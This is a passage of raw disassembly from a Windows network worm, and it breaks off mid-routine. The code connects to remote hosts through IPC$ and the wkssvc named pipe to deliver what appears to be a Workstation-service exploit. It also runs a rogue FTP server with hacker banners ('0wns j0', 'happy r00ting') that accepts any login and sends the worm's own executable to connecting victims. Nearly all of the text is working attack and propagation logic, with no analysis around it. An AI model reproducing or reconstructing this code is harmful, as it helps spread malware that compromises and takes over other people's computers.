; CODE XREF: .text:00403B13j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_403B1C proc near ; CODE XREF: sub_403C2B+F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi xor esi, esi cmp [esp+4+arg_4], esi jbe short loc_403B4B mov edx, [esp+4+arg_8] loc_403B29: ; CODE XREF: sub_403B1C+2Dj mov eax, [esp+4+arg_0] mov cl, [esi+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [edx], cl mov [edx+1], al inc esi inc edx inc edx cmp esi, [esp+4+arg_4] jb short loc_403B29 loc_403B4B: ; CODE XREF: sub_403B1C+7j pop esi retn sub_403B1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B4D proc near ; CODE XREF: sub_403B4D+CDp ; sub_403C2B+48Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_403B61 or [ebp+arg_7], 1 jmp short loc_403B65 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_403B4D+Cj and [ebp+arg_7], 0FEh loc_403B65: ; CODE XREF: sub_403B4D+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_403B86 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_403B98 ; --------------------------------------------------------------------------- loc_403B86: ; CODE XREF: sub_403B4D+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_403B98: ; CODE XREF: sub_403B4D+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_413F0B test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_403BB1 loc_403BAD: ; CODE XREF: sub_403B4D+A4j xor al, al jmp short loc_403C26 ; --------------------------------------------------------------------------- loc_403BB1: ; CODE XREF: sub_403B4D+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4138F0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:dword_41F054 ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_403BF3 call sub_413F7F pop ecx jmp short loc_403BAD ; --------------------------------------------------------------------------- loc_403BF3: ; CODE XREF: sub_403B4D+9Cj call sub_413F7F cmp [ebp+arg_2B], 0 pop ecx jz short loc_403C24 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_403B4D add esp, 2Ch jmp short loc_403C26 ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_403B4D+B0j mov al, 1 loc_403C26: ; CODE XREF: sub_403B4D+62j ; sub_403B4D+D5j pop edi pop esi pop ebx leave retn sub_403B4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C2B proc near ; CODE XREF: sub_404143+16p ; sub_404143+30p ... var_D098 = byte ptr -0D098h var_9098 = byte ptr -9098h var_7098 = byte ptr -7098h var_5098 = byte ptr -5098h var_3098 = byte ptr -3098h var_1540 = dword ptr -1540h var_C44 = byte ptr -0C44h var_C3F = byte ptr -0C3Fh var_C00 = byte ptr -0C00h var_794 = byte ptr -794h var_594 = byte ptr -594h var_190 = byte ptr -190h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_6A = byte ptr -6Ah var_69 = byte ptr -69h var_68 = dword ptr -68h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = word ptr -50h var_4E = byte ptr -4Eh var_4C = byte ptr -4Ch var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_18 = byte ptr 20h arg_AC = dword ptr 0B4h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 0D098h call sub_413E60 push ebx push esi push edi push 1 pop ebx lea eax, [ebp+arg_8] push ebx push eax call sub_40ADCF pop ecx cmp eax, 3 pop ecx jnz loc_4040DF push offset aTilehome_com ; "Tilehome.com" push [ebp+arg_4] call sub_408A5D pop ecx push eax lea eax, [ebp+var_794] push 200h push eax call sub_41312F xor edi, edi add esp, 10h cmp eax, edi mov [ebp+var_8], eax jz loc_4040DF push 401h lea eax, [ebp+var_594] push edi push eax call sub_413890 push 0DACh lea eax, [ebp+var_1540] push edi push eax call sub_413890 push 1B58h lea eax, [ebp+var_3098] push edi push eax call sub_413890 push 0DABh lea eax, [ebp+var_1540] push 41h push eax call sub_413890 mov esi, [ebp+arg_0] push 5 shl esi, 4 push offset aFb ; "f\a" mov eax, dword_423CF8[esi] mov ecx, dword_423CF4[esi] mov [ebp+eax+var_1540], ecx lea eax, [ebp+var_C44] push eax call sub_4138F0 push 3Fh lea eax, [ebp+var_C3F] push offset dword_423CB0 push eax call sub_4138F0 add esp, 48h lea eax, [ebp+var_594] push eax lea eax, [ebp+var_794] push [ebp+var_8] push eax call sub_403B1C lea eax, [ebp+var_594] push eax call sub_413E90 push eax lea eax, [ebp+var_594] push eax lea eax, [ebp+var_C00] push eax call sub_4138F0 lea eax, [ebp+var_594] push eax call sub_413E90 and [ebp+eax+var_C00], 0 add esp, 20h xor ecx, ecx lea eax, [ebp+var_3098] loc_403D63: ; CODE XREF: sub_403C2B+14Dj movzx dx, byte ptr [ebp+ecx+var_1540] mov [eax], dx inc ecx inc eax inc eax cmp ecx, 0DACh jb short loc_403D63 lea eax, [ebp+arg_8] push eax push offset aS ; "\\\\%s" lea eax, [ebp+var_9098] push 2000h push eax call sub_413D8A lea eax, [ebp+var_9098] push 2000h push eax lea eax, [ebp+var_D098] push eax call sub_414A03 lea eax, [ebp+arg_8] push offset a_ ; "." push eax call sub_41E440 add esp, 24h test eax, eax jz short loc_403E0B lea eax, [ebp+arg_8] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_5098] push 2000h push eax call sub_413D8A push 20h lea eax, [ebp+var_90] push edi push eax call sub_413890 lea eax, [ebp+var_5098] add esp, 1Ch mov [ebp+var_7C], eax mov eax, offset byte_438A10 push edi push eax push eax lea eax, [ebp+var_90] push eax call dword_44CD80 loc_403E0B: ; CODE XREF: sub_403C2B+194j lea eax, [ebp+arg_8] push eax push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc" lea eax, [ebp+var_7098] push 2000h push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_7098] push edi push edi push 3 push edi push 3 push 40000000h push eax call ds:dword_41F05C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_403E50 loc_403E49: ; CODE XREF: sub_403C2B+31Bj push edi push edi jmp loc_4040D6 ; --------------------------------------------------------------------------- loc_403E50: ; CODE XREF: sub_403C2B+21Cj push 48h lea eax, [ebp+var_6C] push edi push eax call sub_413890 and [ebp+var_6B], 0 push 10h pop eax mov [ebp+var_6C], 5 mov [ebp+var_68], eax push eax lea eax, [ebp+var_4C] push offset dword_424E40 push eax mov [ebp+var_6A], 0Bh mov [ebp+var_69], 3 mov [ebp+var_64], 48h mov [ebp+var_62], di mov [ebp+var_60], ebx mov [ebp+var_5C], 10B8h mov [ebp+var_5A], 10B8h mov [ebp+var_58], edi mov [ebp+var_54], ebx mov [ebp+var_50], di mov [ebp+var_4E], 1 mov [ebp+var_3C], ebx call sub_4138F0 push 10h lea eax, [ebp+var_38] push offset dword_424E2C push eax mov [ebp+var_28], 2 call sub_4138F0 add esp, 24h lea eax, [ebp+var_70] push edi push eax lea eax, [ebp+var_6C] push 48h push eax push [ebp+var_4] call ds:dword_41F054 ; WriteFile test eax, eax jz short loc_403F3D lea eax, [ebp+var_D098] push eax call sub_4149E6 pop ecx lea ebx, [eax+eax+12h] loc_403EEE: ; CODE XREF: sub_403C2B+2C9j test bl, 3 jz short loc_403EF6 inc ebx jmp short loc_403EEE ; --------------------------------------------------------------------------- loc_403EF6: ; CODE XREF: sub_403C2B+2C6j cmp byte_423CFC[esi], 0 jz short loc_403F02 add ebx, 4 loc_403F02: ; CODE XREF: sub_403C2B+2D2j lea eax, [ebp+var_3098] push eax call sub_4149E6 pop ecx lea eax, [ebx+eax*2+0Eh] loc_403F13: ; CODE XREF: sub_403C2B+2EDj test al, 3 jz short loc_403F1A inc eax jmp short loc_403F13 ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_403C2B+2EAj add eax, 8 cmp byte_423CFC[esi], 0 jz short loc_403F2B add eax, 4 jmp short loc_403F2D ; --------------------------------------------------------------------------- loc_403F2B: ; CODE XREF: sub_403C2B+2F9j inc eax inc eax loc_403F2D: ; CODE XREF: sub_403C2B+2FEj push eax mov [ebp+var_8], eax call sub_413F0B mov ebx, eax pop ecx cmp ebx, edi jnz short loc_403F4B loc_403F3D: ; CODE XREF: sub_403C2B+2B0j push [ebp+var_4] call ds:dword_41F058 ; CloseHandle jmp loc_403E49 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403C2B+310j push [ebp+var_8] push edi push ebx call sub_413890 push 4 push offset dword_423CA0 push ebx call sub_4138F0 lea eax, [ebp+var_D098] push eax call sub_4149E6 inc eax mov [ebx+0Ch], eax mov [ebx+8], edi mov eax, [ebx+0Ch] mov [ebx+4], eax lea eax, [ebp+var_D098] push eax lea eax, [ebx+10h] push eax call sub_4149C1 lea eax, [ebp+var_D098] push eax call sub_4149E6 lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+arg_0], eax jz short loc_403FAD loc_403FA5: ; CODE XREF: sub_403C2B+37Dj inc eax test al, 3 jnz short loc_403FA5 mov [ebp+arg_0], eax loc_403FAD: ; CODE XREF: sub_403C2B+378j cmp byte_423CFC[esi], 0 jz short loc_403FCF push 4 add eax, ebx push offset dword_423CA8 push eax call sub_4138F0 add esp, 0Ch add [ebp+arg_0], 4 mov eax, [ebp+arg_0] loc_403FCF: ; CODE XREF: sub_403C2B+389j add eax, ebx mov [ebp+var_C], eax lea eax, [ebp+var_3098] push eax call sub_4149E6 mov ecx, eax mov eax, [ebp+var_C] inc ecx add [ebp+arg_0], 0Ch mov [eax+8], ecx mov [eax+4], edi mov ecx, [eax+8] mov [eax], ecx lea eax, [ebp+var_3098] push eax mov eax, [ebp+arg_0] add eax, ebx push eax call sub_4149C1 lea eax, [ebp+var_3098] push eax call sub_4149E6 mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+arg_0], eax jz short loc_40402C loc_404024: ; CODE XREF: sub_403C2B+3FCj inc eax test al, 3 jnz short loc_404024 mov [ebp+arg_0], eax loc_40402C: ; CODE XREF: sub_403C2B+3F7j push 8 add eax, ebx push edi push eax call sub_413890 mov eax, [ebp+arg_0] add esp, 0Ch add eax, 8 cmp byte_423CFC[esi], 0 jz short loc_40404E mov [eax+ebx], edi jmp short loc_404054 ; --------------------------------------------------------------------------- loc_40404E: ; CODE XREF: sub_403C2B+41Cj mov word ptr [eax+ebx], 1 loc_404054: ; CODE XREF: sub_403C2B+421j push 18h lea eax, [ebp+var_24] push edi push eax call sub_413890 add esp, 0Ch mov cl, byte_423CFC[esi] and [ebp+var_23], 0 and [ebp+var_22], 0 push 1 mov [ebp+var_1A], di pop eax mov [ebp+var_10], di push eax push 10B8h push [ebp+var_8] lea esi, [ebp+var_24] neg cl sbb ecx, ecx push ebx and ecx, 2 sub esp, 18h add ecx, 19h mov [ebp+var_24], 5 push 6 mov [ebp+var_E], cx pop ecx mov [ebp+var_21], 3 mov edi, esp push [ebp+var_4] mov [ebp+var_20], 10h mov [ebp+var_18], eax rep movsd call sub_403B4D add esp, 2Ch test al, al push [ebp+var_4] jnz short loc_4040E3 call ds:dword_41F058 ; CloseHandle push ebx call sub_413F7F pop ecx push 0 push 0 loc_4040D6: ; CODE XREF: sub_403C2B+220j push [ebp+var_7C] call dword_44CD40 loc_4040DF: ; CODE XREF: sub_403C2B+22j ; sub_403C2B+52j xor eax, eax jmp short loc_40413E ; --------------------------------------------------------------------------- loc_4040E3: ; CODE XREF: sub_403C2B+498j call ds:dword_41F058 ; CloseHandle push ebx call sub_413F7F pop ecx xor esi, esi push esi push esi push [ebp+var_7C] call dword_44CD40 push esi lea eax, [ebp+var_190] push [ebp+arg_B4] push eax lea eax, [ebp+arg_18] push eax push [ebp+arg_4] call sub_40B2B5 lea eax, [ebp+var_190] push eax call sub_409833 mov eax, [ebp+arg_AC] add esp, 18h imul eax, 3Ch inc dword_425A60[eax] push 1 lea eax, dword_425A60[eax] pop eax loc_40413E: ; CODE XREF: sub_403C2B+4B6j pop edi pop esi pop ebx leave retn sub_403C2B endp ; =============== S U B R O U T I N E ======================================= sub_404143 proc near ; CODE XREF: .text:00403AE4p ; sub_40656E+1E6p ; DATA XREF: ... arg_0 = byte ptr 4 push ebx push esi push edi lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp push 1 rep movsd call sub_403C2B add esp, 4 lea esi, [esp+0C8h+arg_0] mov ebx, eax push 2Fh pop ecx mov edi, esp push 1 rep movsd call sub_403C2B add esp, 0C0h test eax, eax jnz short loc_404186 test ebx, ebx jz short loc_404189 loc_404186: ; CODE XREF: sub_404143+3Dj push 1 pop eax loc_404189: ; CODE XREF: sub_404143+41j pop edi pop esi pop ebx retn sub_404143 endp ; =============== S U B R O U T I N E ======================================= sub_40418D proc near ; CODE XREF: .text:00403B00p arg_0 = byte ptr 4 push ebx push esi push edi lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp push 0 rep movsd call sub_403C2B add esp, 4 lea esi, [esp+0C8h+arg_0] mov ebx, eax push 2Fh pop ecx mov edi, esp push 0 rep movsd call sub_403C2B add esp, 0C0h test eax, eax jnz short loc_4041D0 test ebx, ebx jz short loc_4041D3 loc_4041D0: ; CODE XREF: sub_40418D+3Dj push 1 pop eax loc_4041D3: ; CODE XREF: sub_40418D+41j pop edi pop esi pop ebx retn sub_40418D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041D7 proc near ; DATA XREF: sub_406059+226o var_96C = byte ptr -96Ch var_7DC = dword ptr -7DCh var_7D8 = byte ptr -7D8h var_5C4 = byte ptr -5C4h var_544 = dword ptr -544h var_540 = dword ptr -540h var_538 = byte ptr -538h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 96Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_7DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_96C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call ds:dword_41F1BC ; WSAStartup push edi call sub_414D55 push eax call sub_413864 push 0FEB0h push 406h call sub_41271C add esp, 10h mov dword_438A18, eax push edi push ebx push 2 call ds:dword_41F1DC ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call ds:dword_41F1C8 ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call ds:dword_41F1E0 ; ioctlsocket mov ax, word ptr dword_438A18 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call ds:dword_41F1C4 ; ntohs mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call ds:dword_41F1B0 ; bind test eax, eax jge short loc_4042AC mov eax, ebx jmp loc_4047D3 ; --------------------------------------------------------------------------- loc_4042AC: ; CODE XREF: sub_4041D7+CCj push 0Ah push esi call ds:dword_41F1B4 ; listen mov [ebp+var_228], ebx mov ebx, ds:dword_41F1D0 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4042CA: ; CODE XREF: sub_4041D7+12Cj ; sub_4041D7+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_41F1D4 ; select cmp eax, 0FFFFFFFFh jz loc_4047D0 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4042CA loc_404305: ; CODE XREF: sub_4041D7+5EEj xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_413890 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_413890 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_41E428 ; __WSAFDIsSet test eax, eax jz loc_4047BE cmp edi, [ebp+var_C] jnz short loc_4043BC lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call ds:dword_41F1B8 ; accept cmp eax, 0FFFFFFFFh jz loc_4047BE xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_404386 lea edx, [ebp+var_224] loc_404376: ; CODE XREF: sub_4041D7+1ADj cmp [edx], eax jz short loc_404386 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_404376 loc_404386: ; CODE XREF: sub_4041D7+197j ; sub_4041D7+1A1j cmp ecx, [ebp+var_228] jnz short loc_4043A4 cmp [ebp+var_228], 40h jnb short loc_4043A4 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4043A4: ; CODE XREF: sub_4041D7+1B5j ; sub_4041D7+1BEj cmp eax, [ebp+var_4] jle short loc_4043AC mov [ebp+var_4], eax loc_4043AC: ; CODE XREF: sub_4041D7+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4047BE ; --------------------------------------------------------------------------- loc_4043BC: ; CODE XREF: sub_4041D7+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call ds:dword_41F1CC ; recv test eax, eax jg short loc_404423 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_404417 lea eax, [ebp+var_224] loc_4043E3: ; CODE XREF: sub_4041D7+216j cmp [eax], edi jz short loc_4043F1 inc ecx add eax, 4 cmp ecx, edx jb short loc_4043E3 jmp short loc_404417 ; --------------------------------------------------------------------------- loc_4043F1: ; CODE XREF: sub_4041D7+20Ej dec edx cmp ecx, edx jnb short loc_404411 lea eax, [ebp+ecx*4+var_224] loc_4043FD: ; CODE XREF: sub_4041D7+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4043FD loc_404411: ; CODE XREF: sub_4041D7+21Dj dec [ebp+var_228] loc_404417: ; CODE XREF: sub_4041D7+204j ; sub_4041D7+218j push edi call ds:dword_41F1E8 ; closesocket jmp loc_4047BE ; --------------------------------------------------------------------------- loc_404423: ; CODE XREF: sub_4041D7+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_414D21 lea eax, [ebp+var_AC] push offset aUser ; "USER" push eax call sub_413C30 add esp, 18h test eax, eax jnz short loc_404467 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_404467: ; CODE XREF: sub_4041D7+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40448B push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_40448B: ; CODE XREF: sub_4041D7+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4044AF push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_4044AF: ; CODE XREF: sub_4041D7+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4044D3 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_4044D3: ; CODE XREF: sub_4041D7+2EDj lea eax, [ebp+var_AC] push offset off_425064 push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4044F7 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_4044F7: ; CODE XREF: sub_4041D7+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_404532 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_404532 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_404532: ; CODE XREF: sub_4041D7+335j ; sub_4041D7+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40456D lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40456D push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4047A9 ; --------------------------------------------------------------------------- loc_40456D: ; CODE XREF: sub_4041D7+370j ; sub_4041D7+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4045BB push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_413E90 pop ecx push eax lea eax, [ebp+var_124] loc_4045AB: ; CODE XREF: sub_4041D7+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4045B3: ; CODE XREF: sub_4041D7+4F3j mov edi, [ebp+arg_0] jmp loc_4047AC ; --------------------------------------------------------------------------- loc_4045BB: ; CODE XREF: sub_4041D7+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4045FC push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_413E90 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4045AB ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_4041D7+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_4046CF lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS_0 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_414D21 lea eax, [ebp+var_F8] push eax call sub_413D7F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_413D7F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_413890 push [ebp+var_8] lea eax, [ebp+var_F8] push edi push offset aXX ; "%x%x\n" push eax call sub_413812 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_414D0A mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_413812 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4045B3 ; --------------------------------------------------------------------------- loc_4046CF: ; CODE XREF: sub_4041D7+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40478A push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4047DA pop ecx cmp eax, 1 pop ecx jnz short loc_404780 call sub_404857 cmp eax, 1 jnz loc_4047AC push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_7D8] push eax lea eax, [ebp+var_48] push dword_438A18 push eax lea eax, [ebp+var_538] push offset unk_424EC8 push eax call sub_413812 add esp, 14h cmp [ebp+var_540], esi jnz short loc_404771 push esi lea eax, [ebp+var_538] push [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax push [ebp+var_7DC] call sub_40B2B5 add esp, 14h loc_404771: ; CODE XREF: sub_4041D7+575j lea eax, [ebp+var_538] push eax call sub_409833 pop ecx jmp short loc_4047AC ; --------------------------------------------------------------------------- loc_404780: ; CODE XREF: sub_4041D7+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4047A9 ; --------------------------------------------------------------------------- loc_40478A: ; CODE XREF: sub_4041D7+50Dj lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4047AC push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4047A9: ; CODE XREF: sub_4041D7+28Bj ; sub_4041D7+2AFj ... push edi call ebx ; send loc_4047AC: ; CODE XREF: sub_4041D7+3DFj ; sub_4041D7+539j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_413890 add esp, 0Ch loc_4047BE: ; CODE XREF: sub_4041D7+160j ; sub_4041D7+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_404305 jmp loc_4042CA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_4041D7+11Ej push 1 pop eax loc_4047D3: ; CODE XREF: sub_4041D7+D0j pop edi pop esi pop ebx leave retn 4 sub_4041D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047DA proc near ; CODE XREF: sub_4041D7+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_41F1BC ; WSAStartup push 0 push 1 push 2 call ds:dword_41F1DC ; socket push [ebp+arg_0] mov dword_438A14, eax mov [ebp+var_10], 2 call ds:dword_41F1C0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_41F1C4 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_438A14 call ds:dword_41F1E4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_404852 push dword_438A14 call ds:dword_41F1E8 ; closesocket call ds:dword_41F1AC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404852: ; CODE XREF: sub_4047DA+60j push 1 pop eax leave retn sub_4047DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404857 proc near ; CODE XREF: sub_4041D7+531p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call ds:dword_41F060 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_414F8F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4048EE test byte ptr [esi+0Ch], 10h jnz short loc_4048D2 push edi mov edi, 400h loc_40489A: ; CODE XREF: sub_404857+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_414E87 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push 